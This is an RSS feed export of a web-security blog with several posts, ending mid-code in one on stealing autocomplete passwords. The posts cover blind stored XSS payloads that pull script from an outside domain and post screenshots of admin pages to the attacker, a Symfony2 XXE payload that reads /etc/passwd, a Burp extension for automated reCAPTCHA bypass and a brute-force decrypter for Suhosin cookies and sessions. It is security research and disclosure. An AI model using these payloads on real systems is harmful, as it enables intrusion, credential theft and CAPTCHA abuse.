<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web App Security</title>
	<atom:link href="http://www.idontplaydarts.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.idontplaydarts.com</link>
	<description>PHP &#38; LAMP Stack Security</description>
	<lastBuildDate>Mon, 07 May 2012 12:00:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Taking screenshots using XSS and the HTML5 Canvas</title>
		<link>http://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/</link>
		<comments>http://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/#comments</comments>
		<pubDate>Mon, 16 Apr 2012 11:47:22 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=798</guid>
		<description><![CDATA[Using the HTML5 Canvas its possible to use XSS to take screenshots of administration and management interfaces that might not have access to. Blind Stored XSS By injecting script tags containing an external JavaScript resource into arbitrary HTTP input fields you can attempt &#8230; <a href="http://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Using the HTML5 Canvas its possible to use XSS to take screenshots of administration and management interfaces that might not have access to.</p>
<p style="text-align: justify;"><strong>Blind Stored XSS</strong><br />
By injecting script tags containing an external JavaScript resource into arbitrary HTTP input fields you can attempt to detect XSS in pages or applications which might not be accessible. To increase my chances of getting my script tags past basic data validation (e.g. length) I registered a short domain name for my payloads. Using a 3 letter domain with 2 letter prefix and a <a href="http://paulirish.com/2010/the-protocol-relative-url/" rel="nofollow" target="new">protocol relative URL</a> the shortest functional script payload that pulls in an external resource is probably ~32 characters:</p>
<pre class="brush: jscript; title: ; notranslate">
&lt;script src=&quot;//xqi.cc&quot;&gt;&lt;/script&gt;
</pre>
<p style="text-align: justify;">Additionally you can also try onload or onmouseover events in case the injection is inside an HTML attribute; although this significantly increases the size of the payload to about 160 characters:</p>
<pre class="brush: jscript; title: ; notranslate">
&quot; onmouseover=&quot;var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);
&quot; onload=&quot;var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);
</pre>
<p style="text-align: justify;">It goes without saying that you are depending on the administrator or user to view the XSS in order for it to execute, your chances will depend on the type of injection you use and how frequently the vulnerable application is accessed. You&#8217;ll know when the JavaScript resource executes in another application because you can see the JavaScript resource and the HTTP referrer in your HTTP logs:</p>
<p style="background-color:#000000; color:#c5c5c5; font-family:courier new; font-size:10pt; padding:10px; line-height:10pt;">
1.2.3.4 &#8211; - [09/Apr/2012:02:10:49 +0000] &#8220;GET / HTTP/1.1&#8243; 200 57 <strong>&#8220;http://www.site.com/admin/customers.aspx&#8221;</strong> &#8220;Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2&#8243;<br />
1.2.3.4 &#8211; - [09/Apr/2012:02:10:59 +0000] &#8220;GET / HTTP/1.1&#8243; 200 57 <strong>&#8220;http://www.site.com/admin/view_customer.aspx?id=122&#8243;</strong> &#8220;Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2&#8243;
</p>
<p style="text-align: justify;">I was deploying these payloads using a custom <a href="http://portswigger.net/"rel="nofollow" target="new">Burp</a> extension although I&#8217;ve now discovered <a href="http://www.Acunetix.com" rel="nofollow"  target="new">Acunetix</a> allows you to issue custom payloads &#8211; you can <a href="http://www.idontplaydarts.com/wp-content/uploads/2012/04/Blind_XSS.script.txt">download the script I use here</a>.</p>
<p style="text-align: justify;"><strong>Taking a screenshot</strong><br />
The HTML5 Canvas allows you to quickly render (client side) an accurate screenshot of the clients browser and use Ajax to return it to a server controlled by the attacker.</p>
<p style="text-align: justify;">The code I use is based more or less entirely on <a href="https://github.com/niklasvh/html2canvas" rel="nofollow">Niklas Von Hertzen&#8217;s version available on GitHub</a>. However I&#8217;ve made a few modifications in order to weaponize it:</p>
<ul>
<li>Merged the source together (Jquery, HTMLCanvas and the JQueryHTMLCanvas plugin) so that the payload consists of just 1 file</li>
<li>Removed any messages displayed to the user</li>
<li>Added an Ajax post so that it posts the Canvas to a remote server</li>
<li>Added some code to prevent the JS being loaded multiple times on the same page</li>
</ul>
<p style="text-align: justify;">On the server side there is also a script to decode the Canvas which is posted as a base64 encoded string and write it to a database which also has Referrer, Remote Address and User Agent fields. This allows me to keep track of users that execute the code.</p>
<p style="text-align: justify;"><strong>Cross Domain Policy and other issues</strong><br />
The only real caveat is that the script will run with the same-origin policy preventing it from fetching resources from other domains (e.g. images hosted on a CDN). In an attempt to overcome this the script uses a proxy to fetch external resources that are outside of its domain (this obviously wont work for any resources that are not publicly accessible).
</p>
<p style="text-align: justify;">Its also worth nothing that taking a screenshot using HTML5 doesn&#8217;t really provide you with any more information than harvesting a copy of the DOM using XSS.</p>
<p style="text-align: center;">
<a href="http://www.idontplaydarts.com/wp-content/uploads/2012/04/poc.zip">Download HTML5 Screenshot XSS POC code</a><br />
(Tested in the latest versions of Chrome and Firefox)
</p>
<p style="text-align: justify;"><i>Article updated 6th April 2012 to include protocol relative URLs and a custom Acunetix Script</i></p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Exploit: Symfony2 &#8211; local file disclosure vulnerability</title>
		<link>http://www.idontplaydarts.com/2012/02/exploit-symfony2-local-file-disclosure-vulnerability/</link>
		<comments>http://www.idontplaydarts.com/2012/02/exploit-symfony2-local-file-disclosure-vulnerability/#comments</comments>
		<pubDate>Sat, 25 Feb 2012 02:29:28 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[XML]]></category>
		<category><![CDATA[File Inclusion]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Symfony2]]></category>
		<category><![CDATA[XE]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=764</guid>
		<description><![CDATA[I recently discovered a vulnerability affecting the Symfony2 Framework versions 2.0.0-2.0.10. In short, by by parsing user supplied XML in any way (e.g. SOAP API, RSS feed, unserializing an object) it is possible to disclose the contents of arbitrary files from the &#8230; <a href="http://www.idontplaydarts.com/2012/02/exploit-symfony2-local-file-disclosure-vulnerability/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I recently discovered a vulnerability affecting the <a title="Symfony2 Website" href="http://symfony.com/" rel="nofollow">Symfony2 Framework</a> versions 2.0.0-2.0.10. In short, by  by parsing user supplied XML in any way (e.g. SOAP API, RSS feed, unserializing an object) it is possible to disclose the contents of arbitrary files from the local file system. Symfony announced a new security release version <a href="http://www.symfony.com/download" title="Download Symfony" target="_blank" rel="nofollow">2.0.11</a> within 24hrs of being notified of the vulnerability. You can read more on the <a href="http://symfony.com/blog/security-release-symfony-2-0-11-released" rel="nofollow">Symfony Blog</a>.</p>
<p style="text-align: justify;">The vulnerability occurs because Symfony2 fails to disable external entities before parsing XML. As explained in my previous post this is <a title="Scanning the internal network using SimpleXML" href="http://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/">particularly brutal</a> in PHP where PHP filters can be used to include binary data or scan behind perimeter firewalls.</p>
<p style="text-align: justify;">In the example below XML is deserialized and the contents of /etc/passwd are returned as a base64 encoded string.</p>
<div style="font-size:14px">
<pre class="brush: php; title: ; notranslate">

$XMLString = &quot;
 &lt;?xml version=&quot;1.0&quot;?&gt;
 &lt;!DOCTYPE scan [&lt;!ENTITY test SYSTEM &quot;php://filter/read=convert.base64-encode/resource=/etc/passwd&quot;&gt;]&gt;
 &lt;scan&gt;&amp;test; &lt;/scan&gt;
&quot;

$serializer = new Serializer(array(), array(
  'xml' =&gt; new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer-&gt;decode($XMLString, 'xml');

var_dump($x);
</pre>
</div>
<p style="text-align: justify;">
If the deserialized XML is not displayed to the end user you can still perform a Denial of Service attack through XML entity expansion.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2012/02/exploit-symfony2-local-file-disclosure-vulnerability/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Extending Burp Suite to solve reCAPTCHA</title>
		<link>http://www.idontplaydarts.com/2012/01/extending-burp-suite-to-solve-recaptcha/</link>
		<comments>http://www.idontplaydarts.com/2012/01/extending-burp-suite-to-solve-recaptcha/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 11:44:29 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Burp]]></category>
		<category><![CDATA[Burp Extender]]></category>
		<category><![CDATA[CAPTCHA]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=717</guid>
		<description><![CDATA[By extending the Burp Suite and integrating it with a CAPTCHA solving farm you can enable the automated bypassing of CAPTCHA within all burp tools; seamlessly replacing all CAPTCHA with their correct solutions. This post will show how I&#8217;ve extended &#8230; <a href="http://www.idontplaydarts.com/2012/01/extending-burp-suite-to-solve-recaptcha/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">By extending the <a href="http://portswigger.net/burp/help/" rel="nofollow">Burp Suite</a> and integrating it with a <a href="http://www.blackhat-seo.com/2009/captcha-farms/" rel="nofollow">CAPTCHA solving farm</a> you can enable the automated bypassing of CAPTCHA within all burp tools; seamlessly replacing all CAPTCHA with their correct solutions. This post will show how I&#8217;ve extended Burp and integrated it with the <a href="http://www.deathbycaptcha.com" rel="nofollow">DeathByCaptcha API</a> to solve reCAPTCHA.</p>
<p style="text-align: justify;">Several services exist for decoding CAPTCHA, although DeathByCaptcha seems pretty good and from the initial tests I&#8217;m seeing a 99.7% accuracy rate (with reCAPTCHA at least) &#8211; The premise for most of these services is simple, upload your CAPTCHA to the API and poll for a response until it is solved by someone at the other end. DeathByCaptcha currently charges $13.90 per 10,000 solutions. The API is a simple REST interface and it normally takes only a few seconds to decode the image.</p>
<p style="text-align: justify;"><strong>The concept:</strong><br />
<a href="http://portswigger.net/burp/extender/" rel="nofollow">Burp Extender</a> allows you to hook and modify all HTTP responses before they are used by any of the tools in the Burp Suite. The idea behind the Burp Extender extension I&#8217;ve written is to intercept all of the HTTP responses, examine them for the reCAPTCHA script and replace the input fields with the solution from DeathByCaptcha. This will effectively turn reCAPTCHA into a nonce or one-time-token which <a href="http://blog.portswigger.net/2011/03/burp-v14-preview-macros.html">Burp 1.4 macros</a> can easily handle in a similar way to CSRF tokens.</p>
<p><span id="more-717"></span></p>
<p style="text-align: justify;"><strong>How it works:</strong><br />
I&#8217;ve chosen <a href="http://www.recaptcha.org" rel="nofollow">reCAPTCHA</a> as the target as its widely used – it also has the advantage that the solution can be directly validated against Google servers so you can check that the solution is correct before you post it to the target domain. The general structure of my Burp Extension looks like this:</p>
<p><a href="http://www.idontplaydarts.com/wp-content/uploads/2012/01/HSRA.png"><img class="size-full wp-image-718 alignnone" title="Burp Extender Flow Chart" src="http://www.idontplaydarts.com/wp-content/uploads/2012/01/HSRA.png" alt="" width="742" height="562" /></a></p>
<p>To summarise the above the main steps are:</p>
<ul>
<li>Extract the reCAPTCHA site key from the Intercepted Server Response – these match the expression “6[A-Za-z\-_]{39}”</li>
<li>Use the site key to request the Iframe that contains a link to a CAPTCHA image.</li>
<li>Extract the reCAPTCHA JPEG location and reCAPTCHA challenge field from the Iframe HTML source.</li>
<li>Post the JPEG to DeathByCaptcha for solving.</li>
<li>Post the solution to the Iframe location.</li>
<li>Obtain the challenge response from the reply from the previous post and modify the initial HTTP Response to contain the challenge/response codes.</li>
</ul>
<p><strong>Compiling:<br />
</strong>To compile ensure you have the Java SDK installed and issue the following commands:</p>
<p style="padding-left: 30px;"><em>javac.exe BurpExtender.java</em><br />
<em>jar.exe -cf BurpExtender.jar BurpExtender.class</em></p>
<p>This should generate a burpExtender.jar file in the working directory.</p>
<p style="text-align: justify;"><strong>Running:<br />
</strong>The extension takes two command line arguments. The username and password for the DeathByCaptcha API (so if you want to run the extension you&#8217;ll need to sign up to the service). To run the extension make sure the extension is located in the same directory as the Burp Suite and run:</p>
<p style="padding-left: 30px;"><em>java -Xmx512m -classpath &#8220;*&#8221; burp.StartBurp &#8220;myusername&#8221; &#8220;mypassword&#8221;</em></p>
<p style="text-align: justify;">When you now browse through the Burp Proxy to sites such as <a href="http://www.google.com/recaptcha/learnmore" rel="nofollow">http://www.google.com/recaptcha/learnmore</a> you should see the reCAPTCHA replaced with a challenge and response input box. Generally the API can take anywhere from 5 to 20 seconds to translate the CAPTCHA, while this is happening the page will not load. Once its decoded the image you should see something similar to below:</p>
<div id="attachment_740" class="wp-caption aligncenter" style="width: 631px"><a href="http://www.idontplaydarts.com/wp-content/uploads/2012/01/beforeafter.png"><img class="size-full wp-image-740" title="Before and After" src="http://www.idontplaydarts.com/wp-content/uploads/2012/01/beforeafter.png" alt="" width="621" height="185" /></a><p class="wp-caption-text">(Before / After - When browsing through the Burp Proxy)</p></div>
<p style="text-align: justify;">The code isn&#8217;t pretty &#8211; its been hacked together &#8211; its more proof of concept. There isn&#8217;t a great deal of error handling and not being a Java Developer I may have used entirely the wrong methods in certain places.</p>
<p style="text-align: center;"><strong><a href="http://www.idontplaydarts.com/wp-content/uploads/2012/01/BurpExtender-reCAPTCHA.zip">Download the reCAPTCHA Burp Extension here</a></strong></p>
<p style="text-align: center;">
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2012/01/extending-burp-suite-to-solve-recaptcha/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Decrypting suhosin sessions and cookies.</title>
		<link>http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/</link>
		<comments>http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 09:41:33 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Design Flaw]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Suhosin]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=650</guid>
		<description><![CDATA[The suhosin module provides transparent cookie and session encryption out of the box to PHP applications. Once enabled any session values stored on disk are encrypted with rijndael and a slight variation on base64 encoding, the same applies to any &#8230; <a href="http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">The <a href="http://www.hardened-php.net/suhosin/" rel="nofollow">suhosin module</a> provides transparent cookie and session encryption out of the box to PHP applications. Once enabled any session values stored on disk are encrypted with rijndael and a slight variation on base64 encoding, the same applies to any cookies that are stored on the client. Many people rely solely on this encryption to protect them against parameter tampering attacks.</p>
<p style="text-align: justify;">This post will explain why suhosin encryption is not necessarily as secure as you might think and how its default configuration should not be relied upon to protect the content of sessions and cookies.</p>
<p><strong>Basic suhosin encryption settings</strong></p>
<p style="text-align: justify;">First you need to understand the PHP suhosin session and cookie settings and how these affect access to the session and cookie data, in particular how they affect the generation of the encryption key used to protect the data. There are six settings for both suhosin.session and suhosin.cookie these are their defaults:</p>
<style type="text/css">
#content tr td {
font-size:12px;
padding:3px 24px;
}
</style>
<table width="642" cellspacing="0" cellpadding="4">
<colgroup>
<col width="142" />
<col width="220" />
<col width="254" /> </colgroup>
<tbody>
<tr valign="TOP">
<th width="142">Parameter</th>
<th width="220">Sessions</th>
<th width="254">Cookies</th>
</tr>
<tr valign="TOP">
<td width="142">encrypt</td>
<td width="220">On</td>
<td width="254">Off</td>
</tr>
<tr valign="TOP">
<td width="142">cryptkey</td>
<td width="220">&lt;blank&gt;</td>
<td width="254">&lt;blank&gt;</td>
</tr>
<tr valign="TOP">
<td width="142">cryptraddr</td>
<td width="220">0</td>
<td width="254">0</td>
</tr>
<tr valign="TOP">
<td width="142">cryptua</td>
<td width="220">Off</td>
<td width="254">On</td>
</tr>
<tr valign="TOP">
<td width="142">cryptdocroot</td>
<td width="220">On</td>
<td width="254">On</td>
</tr>
<tr valign="TOP">
<td width="142">checkraddr</td>
<td width="220">0</td>
<td width="254">0</td>
</tr>
</tbody>
</table>
<table width="642" cellspacing="0" cellpadding="4">
<colgroup>
<col width="142" />
<col width="482" /> </colgroup>
<tbody>
<tr valign="TOP">
<th width="142">Parameter</th>
<th width="482">Description</th>
</tr>
<tr valign="TOP">
<td width="142">Encrypt</td>
<td width="482">Turns on the transparent encryption</td>
</tr>
<tr valign="TOP">
<td width="142">cryptkey</td>
<td width="482">Custom string added to the encryption key – blank by default.</td>
</tr>
<tr valign="TOP">
<td width="142">cryptraddr</td>
<td width="482">The number of octets of the users IP to add to the encryption key</td>
</tr>
<tr valign="TOP">
<td width="142">cryptua</td>
<td width="482">Adds the user agent string to the encryption key</td>
</tr>
<tr valign="TOP">
<td width="142">cryptdocroot</td>
<td width="482">Adds the document root as defined by Apache to the key</td>
</tr>
<tr valign="TOP">
<td width="142">checkraddr</td>
<td width="482">Has no affect on the encryption key but prevents users on other IP addresses accessing the session data once decrypted.</td>
</tr>
</tbody>
</table>
<p><strong>How Suhosin generates the encryption key</strong></p>
<p style="text-align: justify;">As you can see, the more Suhosin settings that are enabled the more complex the encryption key will become – sessions by default are encrypted using solely the document root where as cookies use a concatenation of both the document root and user agent string. The key will always be built in the same way and take the order:</p>
<p><span id="more-650"></span></p>
<p style="text-align: center; font-family:courier new;"><span style="color:blue;">cryptkey</span> + <span style="color:red;">user agent</span> + <span style="color:green;">document root</span> + <span style="color:black;">IP octets</span></p>
<p style="text-align: center; font-family:courier new;"><span style="color:blue;">12345</span><span style="color:red;">Mozilla/5.0 (X11; Linux x86_64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2</span><span style="color:green;">/var/www</span><span style="color:black;">127.0.0.1</span></p>
<p style="text-align: justify;">The variables are concatenated without a separator – if for some reason the cryptkey string is NULL then Suhosin will default to a value of “D3F4UL7”. Once built the string is hashed using SHA256 and the result used to generate a 256bit rijndael encryption key. The code used to generate the SHA256 key is shown below:</p>
<div style="font-size:12px;">
<pre class="brush: cpp; title: ; notranslate">
char *suhosin_generate_key(char *key, zend_bool ua, zend_bool dr, long raddr, char *cryptkey TSRMLS_DC)
{
    char *_ua = NULL;
    char *_dr = NULL;
    char *_ra = NULL;
    suhosin_SHA256_CTX ctx;

    if (ua) {
        _ua = sapi_getenv(&quot;HTTP_USER_AGENT&quot;, sizeof(&quot;HTTP_USER_AGENT&quot;)-1 TSRMLS_CC);
    }

    if (dr) {
        _dr = sapi_getenv(&quot;DOCUMENT_ROOT&quot;, sizeof(&quot;DOCUMENT_ROOT&quot;)-1 TSRMLS_CC);
    }

    if (raddr &gt; 0) {
        _ra = sapi_getenv(&quot;REMOTE_ADDR&quot;, sizeof(&quot;REMOTE_ADDR&quot;)-1 TSRMLS_CC);
    }

    suhosin_SHA256Init(&amp;ctx);

    if (key == NULL) {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)&quot;D3F4UL7&quot;, sizeof(&quot;D3F4UL7&quot;));
    } else {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)key, strlen(key));
    }
    if (_ua) {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ua, strlen(_ua));
    }
    if (_dr) {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)_dr, strlen(_dr));
    }

    if (_ra) {
        if (raddr &gt;= 4) {
            suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ra, strlen(_ra));
        } else {
            long dots = 0;
            char *tmp = _ra;

            while (*tmp) {
                if (*tmp == '.') {
                    dots++;
                    if (dots == raddr) {
                        break;
                    }
                }
                tmp++;
            }
            suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ra, tmp-_ra);
        }
    }

    suhosin_SHA256Final((unsigned char *)cryptkey, &amp;ctx);
    cryptkey[32] = 0; /* uhmm... not really a string */

    return cryptkey;
}
</pre>
</div>
<p style="text-align: justify;">If you refer back to the default settings the key used to encrypt sessions is derived from solely the web root e.g. /var/www (this is not the same as /var/www/). Cookies are encrypted with both the web root and the clients user agent string (which is known). <a href="https://www.owasp.org/index.php/Full_Path_Disclosure" rel="nofollow">A simple PHP error</a> could give the location of the web root to an attacker which he could use to decrypt and tamper with client side cookies or the data stored within server sessions (assuming he has access to the sessions on disk).</p>
<p><strong>Calculating the encryption key value</strong></p>
<p style="text-align: justify;">If we assume the default Suhosin settings are in place then defeating the cookie encryption is a simple case of either finding an error message with the web root in or staging a dictionary attack on the name of the web root. You should already know what your user agent string is so there is only one unknown variable to guess. Using information harvested from Google searches for &#8220;DocumentRoot not found&#8221; I&#8217;ve come up with a script that takes a domain name an generates a list of plausible web roots. (<a href="http://www.idontplaydarts.com/wp-content/uploads/2011/11/DocumentRoot.zip">Download the DocumentRoot generator</a>.) These can be fed into a script to brute-force the encrypted data.</p>
<div style="">
<pre style="background-color:#000000; color:#c5c5c5; font-family:courier new; font-size:10pt; padding:5px; line-height:10pt; overflow:hidden;">
#bash> ./generate.php
Usage ./generate.php domainname.com > directorylist.txt

#bash> ./generate.php idontplaydarts.com > dirlist.txt
#bash> wc -l dirlist.txt
29160 dirlist.txt
#bash> cat dirlist.txt
/data/web
/data/web/
/data/web/idontplaydarts.com/public_html
/data/web/idontplaydarts.com/public_html/
......
</pre>
</div>
<p style="text-align: justify;">But what if the session data is also encrypted with the user agent string and you want to decrypt someone else&#8217;s session? Now you&#8217;ll need to brute-force the user agent string as well, there are probably only a few thousand variants of the modern browsers and there are plenty of lists to choose from. If you&#8217;ve already compromised the system you could construct a list of agents from the servers Apache logs and use these in the attack.</p>
<p style="text-align: justify;">If the system administrator or developer has opted to lock the session to the clients IP address using cryptraddr then you might have to test the entire 32 bit range of IP addresses. Luckily however thanks to some service providers frequently changing your IP address during the course of your Internet session it is unlikely that any more than the first two octets of the IP address will be used in the rijndael key. You can further reduce this set of IP addresses if you know what country the client is connecting from, <a href="https://www.maxmind.com/app/geolitecountry" rel="nofollow">MaxMind has a good GeoLocation database</a> that can be used to narrow down you attack. Again, if you can view the Apache logs and extract the IP addresses of the hosts that have accessed the server it will significantly reduce your search space (if your attacking a cookie rather than a session you should already know your IP address).</p>
<p style="text-align: justify;">You might have noticed on line 17 that Suhosin looks to the REMOTE_ADDR variable for the clients IP address so there is a potential for a further mis-configuration if Apache resides behind a load balancer or proxy such as Nginx or Varnish which is failing to update the REMOTE_ADDR header. In these situations the REMOTE_ADDR might be that of the upstream proxy which would make the attack much quicker as every client will appear to come from the same address.</p>
<p align="JUSTIFY"><strong>Decrypting Suhosin sessions and cookies using C</strong></p>
<p align="JUSTIFY">I saw a good entry on ha.xxor.se that <a href="http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html" rel="nofollow">describes how to hijack a session</a> on shared hosting however this involves manipulating internal variables in PHP which doesn&#8217;t always work and tends to be fairly slow. I briefly tried decrypting the session variables using purely PHP and the <a href="http://php.net/manual/en/book.mcrypt.php" rel="nofollow">mcrypt extension</a> although I had little success.</p>
<p align="JUSTIFY">In order to decrypt Suhosin sessions and cookie strings you really need an external program that is independent of PHP, one that can quickly brute force sessions or cookies saved in a file. I couldn&#8217;t find one on the net so I wrote one in C – its mainly hacked together from bits of the suhosin and PHP source code. There is plenty of scope for improvement and optimisations.</p>
<p align="JUSTIFY">
The script comes with 3 examples located in the demos/ folder &#8211; I&#8217;ve included a compiled version that should work on x86 Linux as well as the source and make file.
</p>
<p style="text-align:center; font-weight:bold;"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/11/suhosin.zip">Download the Suhosin decrypter.</a></p>
<div style="">
<pre style="background-color:#000000; color:#c5c5c5; font-family:courier new; font-size:10pt; padding:5px; line-height:10pt; overflow:hidden;">
Usage: cmd [SESSION FILE] [OPTIONS]

Cracks Suhosin rijndael encryption by launching dictionary attacks on
the key. The session or cookie string to be cracked must be placed in
SESSION FILE.		

Mandatory Arguments:
  [SESSION FILE]        File containing the session data

Arguments:
  -UA                   list of user agents in txt file
  -DR                   list of directory roots
  -IP                   list of ip addresses
  -CK                   list of crypt keys
  -ip                   singular ip adddress
  -dr                   singular directory root
  -ua                   singular user agent
  -ck                   crypt key string

NB. When a list of anything is specified the decrypter will also add
    a blank string to the list.						
</pre>
</div>
<p style="text-align:center; font-weight:bold;"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/11/suhosin.zip">Download the Suhosin decrypter.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Clickjacking and XSS for reading autocomplete credentials.</title>
		<link>http://www.idontplaydarts.com/2011/10/clickjacking-and-xss-for-reading-autocomplete-credentials/</link>
		<comments>http://www.idontplaydarts.com/2011/10/clickjacking-and-xss-for-reading-autocomplete-credentials/#comments</comments>
		<pubDate>Tue, 25 Oct 2011 13:08:50 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Clickjacking]]></category>
		<category><![CDATA[Design Flaw]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=603</guid>
		<description><![CDATA[By combining Cross Site Scripting (XSS) with Clickjacking and JavaScript it is possible to extract passwords and data stored within the browsers Autocomplete cache. Autocomplete is a feature supported by all browsers to cache input field values &#8211; it can &#8230; <a href="http://www.idontplaydarts.com/2011/10/clickjacking-and-xss-for-reading-autocomplete-credentials/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">By combining Cross Site Scripting (XSS) with Clickjacking and JavaScript it is possible to extract passwords and data stored within the browsers Autocomplete cache.</p>
<p style="text-align: justify;"><a href="https://secure.wikimedia.org/wikipedia/en/wiki/Autocomplete" rel="nofollow">Autocomplete</a> is a feature supported by all browsers to cache input field values &#8211; it can also be used to save user credentials &#8211; for example the WordPress login interface has autocomplete enabled. Below is a cut down version of the WordPress login form:</p>
<div style="font-size:10pt;">
<pre class="brush: xml; title: ; notranslate">
&lt;form name=&quot;loginform&quot; id=&quot;loginform&quot; action=&quot;/wp-login.php&quot; method=&quot;post&quot;&gt;
   &lt;input type=&quot;text&quot; name=&quot;log&quot; id=&quot;user_login&quot; class=&quot;input&quot; value=&quot;&quot; /&gt;
   &lt;input type=&quot;password&quot; name=&quot;pwd&quot; id=&quot;user_pass&quot; class=&quot;input&quot; value=&quot;&quot; /&gt;
   &lt;input name=&quot;rememberme&quot; type=&quot;checkbox&quot; id=&quot;rememberme&quot; value=&quot;forever&quot; /&gt;
   &lt;input type=&quot;submit&quot; name=&quot;wp-submit&quot; id=&quot;wp-submit&quot; value=&quot;Log In&quot; /&gt;
   &lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;&quot; /&gt;
   &lt;input type=&quot;hidden&quot; name=&quot;testcookie&quot; value=&quot;1&quot; /&gt;
&lt;/form&gt;
</pre>
</div>
<p style="text-align: justify;">In the ideal world of a hacker they could access this data using the <em>document.loginform.user_logon.value</em> property. This would be extremely useful as it would enable an attacker to harvest stored credentials using just a simple <a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" rel="nofollow">reflected XSS</a>. Sadly as a security feature JavaScript is unable to access the autocomplete input data and instead returns a null string unless the submit button has been pressed (<em>alert(document.loginform.user_logon.value)</em> will not work).</p>
<p style="text-align: justify;">In order to prevent autocomplete from caching the wrong credentials for the wrong domain the browser ties its autocomplete data by destination domain (what&#8217;s in the <em>action</em> parameter of your form tag), and by field name (the <em>name</em> of the text input box). This means an attacker can&#8217;t place a form on his own domain and hope its automatically completed with the users cached credentials. Autocomplete will however complete fields it recognises on the same domain regardless of their page. </p>
<p style="text-align: justify;">By using a combination of reflected XSS and <a href="http://www.idontplaydarts.com/2011/05/clickjacking-and-phishing-with-help-from-the-html5-javascript-sandbox/" title="Clickjacking and Phishing with help from the HTML5 JavaScript Sandbox">click-jacking</a> its possible to harvest the users credentials that are cached in autocomplete. The first step is to find a page on the same domain that is <a href="https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_%28OWASP-DV-001%29" rel="nofollow">vulnerable to XSS</a>. Once you&#8217;ve found a page you need to insert a new form into the page as follows:</p>
<div style="font-size:10pt;">
<pre class="brush: jscript; title: ; notranslate">
document.write(
